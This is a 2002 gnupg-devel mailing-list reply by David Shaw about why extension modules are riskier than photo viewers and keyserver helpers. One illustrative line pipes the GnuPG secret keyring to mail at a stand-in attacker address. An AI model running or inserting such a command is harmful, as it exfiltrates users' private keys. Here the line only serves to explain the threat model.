GnuPG 1.1.90 released
dshaw at jabberwocky.com
Wed Jul 3 06:33:07 CEST 2002
On Tue, Jul 02, 2002 at 09:08:00PM -0500, David Champion wrote:
> * On 2002.07.02, in <20020702231940.GF4624 at akamai.com>,
> * "David Shaw" <dshaw at jabberwocky.com> wrote:
> > There is a similar problem with the photo viewers and keyserver
> > helpers, but these programs are already assumed to be untrusted and/or
> > potentially hostile (and if someone has a subverted $PATH, then the
> > attacker could just replace gpg itself).
> Basically, I don't really see what the difference is among these three
> trust categories (module path, photo viewer, keyserver helper). All are
> susceptible in the same ways, it seems. I don't see that one is more
> vulnerable than another.
No, a module is a lot more susceptible than an executed program. The
reason is that the module code is executed within GnuPG itself. A
module can therefore do virtually anything.
The photo viewers and keyserver helpers run in a separate process, and
inherit nothing except stdin/stdout from the GnuPG process. The
interface was intentionally written to make sure that there was
nothing that a executed program could do to GnuPG that the user could
not do on the command line.
For example, when data comes in from the keyserver, GnuPG essentially
does an --import on the file or stdin. A keyserver or the helper
could return a bogus key, but it would never be trusted without a
certification path to it. Viewing a photo is GnuPG writing the photo
data to a file or stdout and calling the viewer.
Of course, this only protects GnuPG itself. There is nothing that stops
someone from writing a keyserver helper or photo viewer that does:
cat ~/.gnupg/secring.gpg | mail attacker at example.com
and trying to trick someone into running it. But note that this
something that any program external to GnuPG can do. A extension
module, however, shares memory space with GnuPG so it could just go
ahead and reveal, say, the unprotected secret key.
> And anyway, I think it's more likely that someone would set $PATH awry
> in his .shellrc than that he would unwittingly set module-path in his
> .gnupg/options, if we can use that as a baseline to measure other risks
Yes, I agree with you here (and your snipped comments as well). There
is nothing that a module-path could do that the user could not already
do with load-extension. All this does it make it easier for the user
to shoot themselves in the foot, and that's scary, so I would want to
give more good hard thought to potential problems.
David Shaw | dshaw at jabberwocky.com | WWW http://www.jabberwocky.com/
"There are two major products that come out of Berkeley: LSD and UNIX.
We don't believe this to be a coincidence." - Jeremy S. Anderson
More information about the Gnupg-devel